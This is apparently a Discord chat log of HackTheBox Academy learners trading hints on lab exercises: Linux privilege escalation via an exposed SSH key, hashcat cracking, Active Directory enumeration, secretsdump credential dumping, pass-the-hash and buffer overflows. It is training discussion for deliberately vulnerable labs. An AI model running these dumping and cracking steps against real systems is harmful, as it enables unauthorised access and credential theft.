modules

[maiden field]

Understanding Log Sources & Investigating with Splunk
Intrusion Detection With Splunk (Real-world Scenario)

Navigate to http://[Target IP]:8000, open the "Search & Reporting" application, and find through an SPL search against all data any suspicious loads of clr.dll that could indicate a C# injection/execute-assembly attack. Then, again through SPL searches, find if any of the suspicious processes that were returned in the first place were used to temporarily execute code. Enter its name as your answer. Answer format: _.exe

I just found the answer but i'm not sure to understand it

If someone can dm me it would be nice 🙂

[fallow snow]

Hey all, I'm looking ot get some assistance if at all possible please!

I'm currently running through the Privellage Escalation Section, within the Getting Started Module. My current task is this:

Once you gain access to 'user2', try to find a way to escalate your privileges to root, to get the flag in '/root/flag.txt'.

I'm a little confused though, using https://gtfobins.github.io/ I'm unable to find a bash escalation that won't require the user2's password.. I cannot generate SSH keys, so unsure on how to proceed really.

Thanks in advance

[next bronze]

check other methods mentioned in the section

[fallow snow]

I'm assuming I should try to run linPEAS to show what options I have?

[fathom pendant]

Perhaps

[fallow snow]

everytime I do ./linpeas.sh I get

ser2@ng-1120156-gettingstartedprivesc-wecbz-dbf67949b-jlznq:/home/user1$ ./linpeas.sh
bash: ./linpeas.sh: No such file or directory```

Am I being stupid and missing the obvious?

[lusty thicket]

no such file

[fathom pendant]

^

You need to transfer it

[fallow snow]

Why would it make me do that, when the next section I'm due to cover is transferring files? 😄

[fathom pendant]

It goes over basic file transfer stuff in this section

[fallow snow]

Not in Priv Esc it doens't?

[fathom pendant]

In the module, I believe it does

Something about python3 -m

[fallow snow]

In the module it does, yes. But that is my next section AFTER I complete Priv Esc, so it seems odd that I would need to do file transfers prior to learning about it.

[fathom pendant]

You can also see if you can see things with user that you shouldn't

[fallow snow]

When I do sudo -l as user2, I get prompted for a password

if it do it as user1, I get /bin/bash as user2 without password needed.

and this is where I'm now stuck 😄

[fathom pendant]

There's more to enumerating than sudo -l

[fathom pendant]

This is a hint btw

This is getting started, privesc

Idr any suid binaries user2 has access to

But if you look hard enough, you can find some interesting files

But they may be hiding

[fallow snow]

I'm trying 😄

[fathom pendant]

It might also help if you start at user2's home

[fallow snow]

So I'm very new to Linux, to get to home, would I just do

sudo -u user2 /home/

[fathom pendant]

Nope

Since you're already user2

Just do cd

[fathom pendant]

Do linux Fundamentals/information Security Foundations path. It'll build you up for a lot

[fallow snow]

ok ya

I have the flag for part one, from the home

but the next task is this:

Once you gain access to 'user2', try to find a way to escalate your privileges to root, to get the flag in '/root/flag.txt'.```

[fathom pendant]

As a LOT of modules assume basic working knowledge of linux

[fallow snow]

fair, so maybe a pause and go learn linux 😄

[fathom pendant]

Hint you want to list all files in a directory

And most users (including root) will have this hidden directory

[fallow snow]

oh im an plonker, so I did ||ls -a|| and now I see ||.bash_history||

[fathom pendant]

That might be useful, but there's a hidden directory that should also catch your attention

[fallow snow]

ahh. I was looking in user1 still

[fathom pendant]

Quick things to note for Navigation, cd or cd ~ brings you to your current user's home directory, cd / brings you to the root of the filesystem

[fallow snow]

Thank you.

So I'm looking at all files for User2, the only one that catches my attention is .bash_history but it only contains my commands, so should I be looking at .vim or .viminfo?

[next bronze]

^

[fathom pendant]

Hidden directory, not file

Think about what connection you used for user1

[fallow snow]

okie doke

[fathom pendant]

Also fwiw, directories will have a trailing /

[fallow snow]

So i used SSH for user 1, right, then sudo as User2. Searching dir's on User 2, I've got to the Bin folder.. I feel like this is the wrong place though, as it doesn't feel too hidden. going into the root and trying to
vim flag.txt

I get permission denied, so I still need to work out how to PrivEsc

[fathom pendant]

You can't view files if you don't have permission

But maybe snoop around in the root dir

There's a hidden directory there too

[fallow snow]

ahh

[fathom pendant]

And you'll be shocked when you look inside how "easy" it'll be from there

[fallow snow]

I think I found it 😄

https://tenor.com/view/defending-depo-gif-26439268

holy nuggets man, I apologise.. you guys must be like this.. ^

[fathom pendant]

¯_(ツ)_/¯

Only thing I'll say is the linux fundamental course is a bit clunky - so don't feel bad if it's not immediately clear

[fallow snow]

The more I use linux, the better I get 😄

I honestly appreciate you guys' patience with me

[fathom pendant]

But in one of the sections they give you all/most of the commands you'll need

[fallow snow]

awesome, to download the file, I'm assuming I need to use scp?

[fathom pendant]

You can do scp, or read it with cat and copy/paste

[Note for terminal you need to add <shift> to the normal copy/paste keybind]

[fallow snow]

yes, thank you.

What is chmod 600 id_rsa

[next bronze]

check the SSH Keys part in that section, it's explained

[fallow snow]

ok, and when it came to the keys, should I have just copied the id_rsa, or the id_rsa.pub, because when i try the command

ssh root@83.136.250.104 -i id_rsa

or 

ssh user2@83.136.250.104 -i id_rsa

I'm getting this error

root@83.136.250.104: Permission denied (publickey).

[fathom pendant]

You need to specify the given port

[fallow snow]

oh ignore me

[fathom pendant]

[fallow snow]

Yeah, I needed to use chmod 600 to change perms, then login as root. So I think I've solved this one

thanks again!

[fathom pendant]

Gg

[fallow snow]

It only took me 1.5 hours 😄

[maiden field]

Understanding Log Sources & Investigating with Splunk
Intrusion Detection With Splunk (Real-world Scenario)

Any tips for this question ?

Navigate to http://[Target IP]:8000, open the "Search & Reporting" application, and find through SPL searches against all data the two IP addresses of the C2 callback server. Answer format: 10.0.0.1XX and 10.0.0.XX

Just tried a dumb query || index="main" EventCode=3 SourceIp=10.0.0.* DestinationIp=10.0.0.*
| dedup SourceIp, DestinationIp
| table SourceIp, DestinationIp || but the answers doesn't work

[maiden field]

I still haven't found it

[supple gorge]

It'd be interesting if you could count based on volume?

stats count by?

[rustic sage]

Up until now the passwords I've passed into xfreerdp haven't needed single quotes, it's odd that one one occasion i couldn't get into a machine because I was missing quotes

[rustic sage]

I still find the quote thing confusing. Especially when you’re copying keys to get in and they’re not exactly the same because the ones you copied have hidden characters. I’ll never for the life of me remember when or why this happens but it’s something I keep in the back of my mind each time I’m copying keys over that are supposed to work but don’t

[next bronze]

things inside single quotes will be treated as literal string

[rustic sage]

👍

[pure drift]

How to decode SHA1?

[limber river]

hashcat or maybe https://crackstation.net/

[pure drift]

oh thank you

[rustic sage]

After 2 grueling days of persistent determination i amfinally past the kerberos part of password attacks

[fathom pendant]

gg

[steel gorge]

I'm doing the Hashcat module https://academy.hackthebox.com/module/20/section/113 and for some reason Hashcat just runs, puts out some process information and stops without attempting anything.
I did echo <hash from question> | tee hash which shows up correctly.
But then even basic stuff isn't working:
sudo hashcat -a 0 -m 0 hash /opt/useful/SecLists/Passwords/Leaked-Databases/rockyou.txt
which I did as part of the previous exercises. I'm at the point where I've tried obvious stuff and nonobvious stuff so I must be missing something fundamental 🤔
I know there are several possibilities for the hash ID and I've tried a fair number of them with the same result.
Output:
hashcat (v6.1.1) starting...

OpenCL API (OpenCL 1.2 LINUX) - Platform #1 [Intel(R) Corporation]

• Device #1: AMD EPYC 7543 32-Core Processor, 7854/7918 MB (1979 MB allocatable), 4MCU

OpenCL API (OpenCL 1.2 pocl 1.6, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #2 [The pocl project]

• Device #2: pthread-AMD EPYC 7543 32-Core Processor, skipped

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

INFO: All hashes found in potfile! Use --show to display them.

Started: Fri Jan 12 07:49:24 2024
Stopped: Fri Jan 12 07:49:24 2024

[next bronze]

it's been cracked before

INFO: All hashes found in potfile! Use --show to display them.
use that

[steel gorge]

it's empty 🤷‍♂️

$ hashcat --show
Usage: hashcat [options]... hash|hashfile|hccapxfile [dictionary|mask|directory]...

Try --help for more help.

unless there's some other option i'm missing

oh did I already crack it?

[next bronze]

--show with the hash file

[steel gorge]

ahh

let me give that a go

[next bronze]

yes, that's why it's been added to the potfile

[steel gorge]

right, so --show doesn't just list them all, you have to specify

[next bronze]

it needs to know what hash you want it to show, you can always cat the potfile to see the whole list

[steel gorge]

that's great functionality. It means you don't go re-cracking stuff you've already cracked 👌

[next bronze]

hashcat is a great tool

[steel gorge]

hm, the .hashcat/hashcat.potfile file is empty 🤔 and giving it the hash in the --show command returns nothing

(unless I'm in the wrong file. It exists though)

[next bronze]

hm try with --potfile-disable

[steel gorge]

do you mean the original crack? or the --show?

[next bronze]

with your original command, just forcing it to crack again

[steel gorge]

great, I've got more, and different output this time 💯

Hooray, it tried! Exhausted, but that's cos it's probably the wrong hash ID 🙂

thank you so much for your help. It gets me going again, but I'm still keen to understand how this happened. Is it worth destroying the potfile?

[next bronze]

not sure, but you should use your own hashcat next time, don't use it in a vm

[steel gorge]

That's a great tip. Very grateful for your help 🙇

[next bronze]

I will take a guess and say you should use mode 1000

[steel gorge]

I saw NTLM down the list of hashid and thought I should try that one next, that might be meta-thinking cos it was the more recent mode example 😆

oh yes that is mode 1000

great!

[next bronze]

those hash ID tools don't work well with raw hashes, this will be your best friend https://hashcat.net/wiki/doku.php?id=example_hashes, most of the time you would know what hash you're working with though

[steel gorge]

Noted ⭐

Got it 💯 thanks for unblocking me!

[misty venture]

hi everyone, how to launch the python debbuger in STACK-BASED BUFFER OVERFLOWS ON WINDOWS X86 please ? There is no explanation about it, just "place a breakpoint before s.send(buffer)". I tried in idle and in pdb but the fonction s.send is not recognized.... Thanks

[full nimbus]

Hi Guys, I'm doing the "What attack can this user perform?" of skill assessment 1 of AD Enum / Attacks module, but i'm curious to knnow what's best approach here. I've tried to run sharphound from the sql powned account (via evil-winrm session on MS01), got some c# tracebacks. Not able to login with the other domain account that we find. I've switch to bloodhound-python to collect info, but I get a lot of DNS timeouts (I use the DC 172.16.6.3 as ns server). Should I go with powerview and check stuff like acls ?

[next bronze]

the best approach would be to get the collectors working

any domain joined account should be able to run the collectors

[full nimbus]

I was not able to login with the user I found via WinRM

└─$ evil-winrm -i 172.16.6.50 -u tXXXX
Enter Password:

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError

Error: Exiting with code 1

[next bronze]

not every account will have winrm access

[full nimbus]

nonetheless I got the info I needed with bloodhound-python, but just curious to learn if there's other way to achieve this

and if it's expected that sql service account user can't run sharphound 🙂

[next bronze]

you can use powerview or specifically search for users with ||DS-Replication-Get-Changes|| or ||DS-Replication-Get-Changes-All|| right

[full nimbus]

*Evil-WinRM* PS C:\tmp> .\SharpHound.exe
2024-01-12T04:06:09.4466436-06:00|INFORMATION|This version of SharpHound is compatible with the 5.0.0 Release of BloodHound
2024-01-12T04:06:09.6340680-06:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote, CertServices
2024-01-12T04:06:09.6652742-06:00|INFORMATION|Initializing SharpHound at 4:06 AM on 1/12/2024
2024-01-12T04:06:09.9777776-06:00|ERROR|Error running SharpHound: Exception getting LDAP connection for (objectclass=domain) and domain INLANEFREIGHT.LOCAL
   at SharpHoundCommonLib.LDAPUtils.<QueryLDAP>d__40.MoveNext()
   at System.Linq.Enumerable.<DefaultIfEmptyIterator>d__93`1.MoveNext()
   at System.Linq.Enumerable.FirstOrDefault[TSource](IEnumerable`1 source)
   at SharpHoundCommonLib.LDAPUtils.TestLDAPConfig(String domain)
   at Sharphound.SharpLinks.TestConnection(IContext context) in D:\a\SharpHound\SharpHound\src\Sharphound.cs:line 148
   at Sharphound.Program.<>c__DisplayClass0_0.<<Main>b__1>d.MoveNext() in D:\a\SharpHound\SharpHound\src\Sharphound.cs:line 532
--- End of stack trace from previous location where exception was thrown ---
   at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw()
   at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)
   at CommandLine.ParserResultExtensions.<WithParsedAsync>d__20`1.MoveNext()
--- End of stack trace from previous location where exception was thrown ---
   at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw()
   at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)
   at Sharphound.Program.<Main>d__0.MoveNext() in D:\a\SharpHound\SharpHound\src\Sharphound.cs:line 406

[next bronze]

Exception getting LDAP connection for (objectclass=domain) and domain INLANEFREIGHT.LOCAL
are you running it as a domain user?

[full nimbus]

I run with the sql service account. Guess that was the issue

Can you switch user via winrm ? I tried :

*Evil-WinRM* PS C:\tmp> runas /user:txxx cmd.exe
Enter the password for txxx:

but can't type the password

anyway, I got all working with the bloodhound python collector, but this one seems old so while this work here, want to make sure I learn other methods

[next bronze]

runas will open a window, not switch the current session, if you don't have gui access it won't work

[tough prawn]

If it exists, what the module name?

[autumn pilot]

use the search functionality

[tough prawn]

I used it

[autumn pilot]

¯_(ツ)_/¯

[tough prawn]

I didn't find anything

¯_(ツ)_/¯

[full nimbus]

one last question, i'm trying to crack admin password, however can't do it with rockyou wordlist. Any pointers ? (maybe I did sth wrong)

┌──(babadmin㉿kakali) - 11:30:25 - [/opt/bloodhound]
└─$ secretsdump.py -outputfile inlanefreight_hashes -just-dc-user administrator INLANEFREIGHT/txxxx@172.16.6.3
Impacket v0.11.0 - Copyright 2023 Fortra

Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:AAAAAAAAA:BBBBBBBBBB:::
┌──(babadmin㉿kakali) - 11:30:45 - [/opt/bloodhound]
└─$ echo "BBBBBBBBBBBBB" > /tmp/adminhash

┌──(babadmin㉿kakali) - 11:34:27 - [/opt/bloodhound]
└─$ hashcat -m 1000 /tmp/adminhash /usr/share/wordlists/rockyou.txt

Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 1000 (NTLM)
...

[next bronze]

why do you need to crack it?

[full nimbus]

Oh now you say it, I can just pass the hash 🤦‍♂️

I'm not use to the fact NTLM is such as poor design you can use hash as password 😄

Thanks a lot @next bronze got that one complete now

[dire granite]

Hello to all i need a little bit of help im doing the linux fundamental module and im in the filter content section.
the first question is
"How many services are listening on the target system on all interfaces? (Not on localhost and IPv4 only)"

i used the command : ss -l |grep "LISTEN" | uniq | wc -l

[fiery berry]

You're grepping everything that is listening.
This is what I would do:
||netstat -tpln |grep -v "127\|tcp6" |grep tcp |wc -l||

[wind olive]

hey how do i turn on light mode in the website academy?

[novel rover]

Hi! I have question about module "Attacking Common Applications -> Attacking Applications Connecting to Services".
How did we know that the breakpoint should be set to 0x5555555551b0? There is no such thing in the output of disas main

[acoustic owl]

Use a browser plugin or copy the content of the website to Obsidian. In Obsidian you can then choose the theme yourself

[full nimbus]

why not simply ss -l | grep "0.0.0.0:" |wc -l

[novel rover]

Hello. Did you find the answer?

[subtle flicker]

nope 😂

[next bronze]

you need to run it first

b _start
r
disas main

[crude token]

I have a question regarding Information Gathering - Web Edition, specifically how one can figure out Identify how many zones exist on the target nameserver. Submit the number of found zones as the answer.. I did get it right by accident, but honestly that was just luck. I want to understand how the answer to this question would be found out legitimately. Sadly, I coulnd't find any writeups answering my question on the internet.

When I retrieve the zone transfer/axfr record from the provided dns server using dig inlanefreight.htb @IP axfr I get this response:

; <<>> DiG 9.18.18-0ubuntu0.22.04.1-Ubuntu <<>> inlanefreight.htb @IP axfr
;; global options: +cmd
[...] various A records, one NS record and two SOA records

The reason I than accidentally guessed the number of zones was that I believed inlanfreight.htb and root.inlanefreight.htb from the soa record were a each a zone. However, as I understand root.inlanefreight.htb is really just the email address of the administrator, where the @ is replaced by a .. So how would one figure out the answer to this question?
Is it because there are two soa records in the zone transer? But both soa's are equivalent, my understanding is that zones are used to delegate the management of (sub)domains to another authoritative nameserver.
My other guess on how to answer this question would be to query each of the fully qualified domains listed in the zone transfer for their nameserver. The number of unique nameserver would then be the number of zones, no? However, I am not quite sure if this would work and this technique (if it does indeed work) was not discussed in the learning material which would be quite strang for Hack the Box academy.

As a side question. How would one figure out zone information if zone transfer requests were (as should be) not answererd? Not at all?

[autumn pilot]

please omit the output from dig

[manic onyx]

I believe that the SOA records are just for the current zone you attempted to zone transfer, i.e. inlanefreight.htb. There should be some subdomain records within that zone that reference a name server with the loopback address, meaning that these are separate zones who also exist on this DNS server (for example: sub1.inlanefreight.htb NS 127.0.0.1). If zone transferring is not enabled you can use something like dnsrecon or other tools to brute force subdomain records and get a valid list. At least this is what I remember from doing it a while ago, I could be wrong on some of those points

[crude token]

Thanks for your answer! There is indeed a record for the second zone domain sub1.inlanefreight.htb in the zone transfer file pointing to 127.0.0.1. However, it's an A record rather than an NS record. I don't quite understand why.
Regarding fuzzing for subdomains: we would find out which domains exist. Can we find out which zone a domain belongs to without having access to zone transfer files? As I understand thats supposed to be internal information for administration only, but I am not totally sure on that.

[manic onyx]

If it is an A record than that record is for the name of the nameserver itself. I assume that the entry is something like ns1.inlanefreight.htb. I am not sure exactly what you mean by the second question - I believe if a domain or subdomain is found to have an SOA record then a zone by definition exists for it on the DNS server.

I.e. the zone 'is' the discovered domain

[fathom pendant]

^

[fathom pendant]

Subdomains can be hosted as a vHost (multiple subdomains under the same ip). Or as separate ips entirely

Cloudflare has an article someone linked in here recently explaining dns

If you ping too many people the bots get mad

[misty venture]

Hi all, anyone have tips for the skill assessment in " Stack-Based Buffer Overflows on Windows x86" ? I'm trying to fuzz the program with the python script but i can't have access on the Windows machine for debugging. (to see when eip is overwritten) thanks for the help

[crude token]

Thank you very much 🙏 @manic onyx @fathom pendant

[next bronze]

you need at least a windows vm to test your exploit

[pure sorrel]

Hello yalls, I'm doing the Windows Privilege Escalation - SeImpersonate and SeAssignPrimaryToken module, and I understand what I'm supposed to do, but whenever I run enable_xp_cmdshell it will start, and then it will disable itself after the first command I run, or it won't enable at all, or it will disable after a very short time. I tried waiting and then enabling it again, I tried disabling and then enabling it again, but the only thing that works is refreshing the target. I saw online that the "solution" was to change configurations on the backend which I obviously don't have access to.
Is this a common problem with some sort of workaround, or am I blatantly missing an instruction?

[idle mauve]

Hey all. General question:

Do you need to download a separate ovpn file for every room/box to connect to your vm and can you not connect to some rooms with your vm? I'm just beginning and I'm attempting to do the "using web proxies" room on the bug bounty path

[next bronze]

no, one vpn file works for all targets

[idle mauve]

ok, thank you. I'm trying to use the pwnbox but it's running very slow and zap hud buttons aren't responding.

[next bronze]

for pwnbox you don't need to connect to the vpn

[next bronze]

wdym it disables itself? once it's enabled it should stay enabled

[pure sorrel]

I don't know if it's actually disable that's just what i think, but regardless it just stops showing output. When I enable it at first, usually the first command will output the expected results, then after that I input a command, and get no response, just a new line

[lusty hearth]

@acoustic owl did you have any issues trying to access the vhost api.vulnerablesite.htb:<port> for the CORS misconfiguration section for xss and csrf? I keep getting the apache default page.

[next bronze]

it works fine for me, never seen it happen

[next bronze]

well if the first command works, send a revshell and work from there

[pure sorrel]

That probably would have worked, reinstalling impacket also worked. Thank you

[full nimbus]

Hi, can someone give me some pointers for "Use a common method to obtain weak credentials for another user. Submit the username for the user whose credentials you obtain." in the assessment 2 of AD Enum & attacks module ? I dumped domain credentials and ran GetNPUsers.py but haven't found anything. Not sure what other method expose "weak credentials"

[next bronze]

the "weak credentials" themselves expose weak credentials

[misty venture]

Hello, is there a way to use another program or plugin than ERC with x32dbg for identifying bad characters plz? I find only '0' when i compare the ByteArray_1.bin file in x32dbg. Thank you 🙂

[full nimbus]

not sure what that means 🙂

[next bronze]

try some

[full nimbus]

Ok I got it, it was same as one of the example in the module, but in real life would be quite lucky 😄

[coarse verge]

A colleague of mine and myself have a problem, i keep spawning the target machine but the ip address does not show on the academy platform it just loads and goes back to " click here to spawn target" we've both only encountered this problem on the academy platform

any ideas on how to fix this ?

[still spear]

hello is there someone that can get me a hint what my error is on the source code for Broken Authenticaiton - Predictable Reset Token ? i dont get it

[full nimbus]

happens to me as well, wait 5 mn, refresh the page, and click spawn again. I believe if the machine is already spawning it will not restart that process. Anyway after a few try vm is up

[coarse verge]

alright thanks lemme give that a try

[next bronze]

also try disabling adblock and use a different browser

[acoustic owl]

send me a dm

[kindred sparrow]

I am super stuck on the Understanding Log Sources & Investigating with Splunk Module. The instructions want you to install the sysmon app for splunk but the pwnbox cant seem to log into splunkbase however I can on my own system. Any thoughts?

is there another easy way to get the app files to the pwnbox?

[kindred sparrow]

i figured it out by grabbing it from github

[lusty hearth]

is anyone else having issues with the Advanced XSS and CSRF Exploitation labs? I cant even log into the guestbook for the xss portion with the provided credentials, but 'lab warm up' works

[sterile epoch]

any idea why I am facing this issue??

[lusty thicket]

context?

[sterile epoch]

just want to run a ping sweep on the target. I am in the meterpreter section of pivoting and tunnelling module

[rustic sage]

pinnnnnnng sweep!

[sterile epoch]

??

[rustic sage]

do it with nmap

[sterile epoch]

why did I not think of it before

[rustic sage]

I just remember that scene from that movie about edward snowden one day I was just trying to look at some nmap command he was running

and it was a ping sweep. figured it oculd be useful

never done it though

[thorn urchin]

🫠

if you dont have a clue what youre talking about then please dont give advice to people working on modules. Its not helpful and just may make things harder for them

[rustic sage]

I actually have a clue, relax cowboy.

[analog dock]

Lol

[echo roost]

https://academy.hackthebox.com/module/136/section/1280 - when I hit CTRL+SHIFT+K and try to view this it just says undefined

[thorn urchin]

brother you havnt done a ping scan before

thats literally first day of Newbie Hackers 101 orientation

and to be clear its okay to be a newbie, just please dont interfere with learners

[rustic sage]

nmap -sn ip/mask ^----no, thank you for reiterating that I've never done this. Predominantly because I haven't had to.

[rustic sage]

I also happen to know a lot about nmap, don't be so quick to jump the gun on people, you'll hurt yourself in the future

[thorn urchin]

Sure sure mr had to look up what a ping sweep was after watching a movie.

[stoic arrow]

hacking wordpress skill assesment, im a bit lost, so any hints are welcome

[rustic sage]

It's where I first heard of it, I'm sorry that you tunnel vision how people learn about the world and other subjects.

arrogant shit.

[analog dock]

You have never done a ping sweep?🤔

[acoustic owl]

Search Google for this type of vulnerability

[lusty thicket]

google

[thorn urchin]

Missing my point. But sure think Im arrogant if you want. This has become off topic for module discussion anyways. If you have a module related question to ask Im usually happy to help 👍

[rustic sage]

You literally offered the guy who asked about it nothing for 19 minutes straight. So if you wanna burn someone, it ain't gonna be me.

[thorn urchin]

Huh?

[lusty thicket]

read #rules then #welcome

[severe portal]

oh

yeah keep it legal? is that what u refer to?

[severe portal]

? ^

[lusty thicket]

no

[severe portal]

What is then wrong by what i typed?

[lusty thicket]

i think the other guy was specifically trying to do a ping sweep through his metasploit pivot and not nmap

[lusty thicket]

i didn’t say anything was wrong little man

[thorn urchin]

it doesn't have anything to do with #modules

read #welcome and verify your account and you can ask elsewhere in the server

[severe portal]

oh i see sorry but i couldnt find a chat..

[severe portal]

ok

[thorn urchin]

because you haven't read #welcome yet

I know, its silly they show this chat to unverified users too

[buoyant escarp]

getting somewhere, now doing Password Attacks 🙂

[fathom pendant]

so you skipped pw attacks?

good luck btw

[buoyant escarp]

yes before doing the path i was picking modules randomly by interest, but few weeks ago i enrolled this cpts path and doing it in order, now i reached pw attacks 😄

[fathom pendant]

🗞️

[buoyant escarp]

how is it going for you marcie

[fathom pendant]

been busy with life

[rustic sage]

Hello 😄

[buoyant escarp]

in which Module is this covered xD

[fathom pendant]

fun fact there's a general channel if you look hard enough

[buoyant escarp]

i think those are spam bots

[fathom pendant]

<@&861185840277487616>

yes; and antisemitic

[buoyant escarp]

i cant tell, my english isnt that well to recognise this

[fathom pendant]

it's a word that defines as people or actions that hate jewish people/activities

[rustic sage]

you can use nmap in the msfconsole, put results in the db.

doesnt matter anymore though just let the topic go.

[fathom pendant]

you'd have to link a db to msfconsole

¯_(ツ)_/¯

[manic onyx]

I am doing the web attacks skill assessment right now and am a bit stuck. I have enumerated all user info and have access to all accounts but am not sure how I should 'elevate my privileges'... I am aware of the api and all attempts to update any user information don't seem to work... I have a feeling I need to update the name and company fields to achieve XXE injection but I am not sure how to do this for any user. I wrote a script to authenticate as every user and then attempt to update the API but nothing changed. I also noticed that the token is returned in JSON so I attempted to update that as well but didn't see any success. How should I identify the administrator user, if there is one?

[buoyant escarp]

which endpoints from the API did you find (there are multiple needed for this assessment)

[manic onyx]

user and token. Are there more?

I didn't find any within the traffic but I suppose I can fuzz it

[buoyant escarp]

reset.php

[manic onyx]

I messed around with that but I'll take a look again

thanks

[buoyant escarp]

and as you said, username and company + verb tampering

and have closer look at all users you enumerated, you only need one @manic onyx

[manic onyx]

damn yeah im blind lol

ok got it, thank you man I was in way too deep on that lmao

[buoyant escarp]

got the account?

[manic onyx]

No I got the flag

[buoyant escarp]

nice

i enjoyed this module so much, its so well done

[manic onyx]

I agree, I have explored these before but not chained together and in a cool way

Especially the XXE bit

[buoyant escarp]

yes the chaining of IDOR, Verb Tampering & XXE to get the flag is so cool

[echo roost]

my function is not called checkfile().

did it change to validate() instead of checkfile()?

I will assume yes, that module needs an update. I figured it out.

[chrome lotus]

Just finished the Pivoting Module and I have to say, I'm extremely glad I've been reading this Discord. Ligolo made it such a breeze in the end

[thorn urchin]

which module and section?

[lusty thicket]

did you read the question at all?

[wanton timber]

oopps wait, my bad

I thought that was the instruction 😐 sorry newbie here 🙂

[wanton timber]

my bad, i need to bruteforce the password :)) thanks for the response anwys

[lofty token]

Does any one know What i gotta do at the "Credential Hunting in Linux" task of the "Password Attacks" module to get in the system? i have tried brutforcing (using the given username and password list), default creds on the FTP and SMB services. still am not able to get in, i did look at the hint but that gave me the username and password outright. How is one supposed to get it without having to use the hint?

[fathom pendant]

did you try the mutated list? (also check the hint iirc)

[fathom pendant]

also it's not the password outright

username; not generally sure (but if you look at the previous section with the user, you can check /home/ for users

and create a list off that

[lofty token]

hmm alright

ill look into it

[fathom pendant]

also; the mutated list and creds are reused a LOT in this section

[lofty token]

thanks for the hint

[fathom pendant]

so save creds when you find them

[fathom pendant]

similar thing with the windows machines: C:\users will save a bunch of time

[lofty token]

been at this module for 3 days now its taking way too long, no idea why it shows "8hrs"

[fathom pendant]

moar threads

-t 48 helps :)

[lofty token]

been doing 64

it drops after the first few mins tho

[fathom pendant]

(also the creds for the will are hiding behind another user, damn browser stuff)

64 can be unstable

48 is more stable and doesn't tend to drop as many

[lofty token]

alright

will do that

[fathom pendant]

if you don't wanna use the provided pw to create a separate mutated list: the mutated wordlist you created earlier will work

[fathom pendant]

but also lowercase usernames

[lofty token]

👍

[mental ice]

ls

[terse storm]

hi

Could someone help me solve the bizness machine?

please

[fathom pendant]

wrong channel

read #welcome on how to access more of the server

[marsh echo]

hello, for here I have to crack the hash?https://academy.hackthebox.com/module/112/section/1245

[fathom pendant]

yes; you have the mode; just need the wordlist supplied by the module

the mask is ONLY for specific cases

but the mode is still gonna be the same

[marsh echo]

because metasploit finds me by matching the hash directly, as shown in the example

[marsh echo]

ahhh

[fathom pendant]

read the question

"what's the account's cleartext password"

so you'll have to crack it

[marsh echo]

this is normal ?

[rustic sage]

finished the attacking password module. I never wanna do that again ever.

lol best thing i done that i never wanna do again

[fathom pendant]

try --wordlist=

[fathom pendant]

there's a hashcat mode you can use; and 2 the wordlist is provided by the module iirc

just substitute the ?1?1?1?1 mask with the wordlist

the mask is just specifically for HP iLO ipmi, but the mode is for all ipmi hashes

[rustic sage]

a fair tip @marsh echo don't use rockyou.txt in the module; iinstead use the lists in resources or a mutation of the p list.

this calls for a celebratory jolly rancher

the easy lab was actually the hardest for me.

[fathom pendant]

that's a common sentiment

they're mostly borrowing the difficulty curve of the main platform labs

[marsh echo]

ok thanks a lot all I'll see how to do it and then I'll go to sleep 😉

[fathom pendant]

it's given to you in the module

literally everything up to the ?1?1?1?1?1 can be used for it

[marsh echo]

i see thanks 🙂

[fathom pendant]

that example is just saying in the specific instance of HP iLO machines (Which this IPMI hash is not from) the ?1?1?1?1?1 mask works better than a dict

[marsh echo]

we agree that the hash is admin : x : x

?

[fathom pendant]

It should be whatever msfconsole gave you

[marsh echo]

yessss i find the hash but ...

[fathom pendant]

hashcat -m 7300 hash wordlist

[fathom pendant]

This command is incorrect

The ?1?1?1?1 is a mask

Which is NOT NEEDED

As I've said several times already

But you should have a wordlist provided by the module to use

[rustic sage]

the hash is that last part of the admin:...... starting from 3a

i think

[fathom pendant]

sometimes hashcat is dumb, sometimes its user error ¯_(ツ)_/¯

[marsh echo]

aaahhh ok i understand better

[fathom pendant]

The initial error is literally as I described, using the wrong method

This doesn't require a mask at all

[rustic sage]

oh he's doing the footprinting module!

[fathom pendant]

Yup

[rustic sage]

use metasploit not john the ripper

[fathom pendant]

It got me too the first time and then I reread

[fathom pendant]

Metasploit is to grab the hash

It doesn't automatically crack it

Only if it matches some known defaults

[rustic sage]

@fathom pendant give me cpts

[fathom pendant]

I don't even have it

[rustic sage]

;x

[marsh echo]

I don't see what the problem is, guys :/ sudo hashcat -m 7300 hash.txt footprinting-wordlist.txt

[next bronze]

the hash is wrong, make sure to copy the whole thing

[still spear]

can someone explain me my error on the Module Broken Authentication - Predictable Reset Token . i treyed really al i know i need some one that can check my code and try it on his site. to see if im the problem 😄 anybody have done it allready ?

[misty venture]

Hello, i'm on the final task on "STACK-BASED BUFFER OVERFLOWS ON WINDOWS X86", when i need to find the bad characters, i launch the "ERC --compare ...." command after "ERC --bytearray". But i have only "0" character on the second line "From Memory Region", i can't compare the bytes at the ESP address with the ByteArray_1.bin file.
Any idea please ?
Thanks

[silver iris]

Does anyone have tips on how to improve the VPN experience? Recently i often times need to switch to attackbox, wich is kinda annyoing.

[fathom pendant]

Use the tcp download

[misty venture]

Ok, bye everyone, i'm searching for a good site to learn Penteesting WITH more pedagogy than here, a lot of course are poorly explained and we take a lot of time just to understand the question. Good luck all

[silver iris]

Good luck

[torpid zinc]

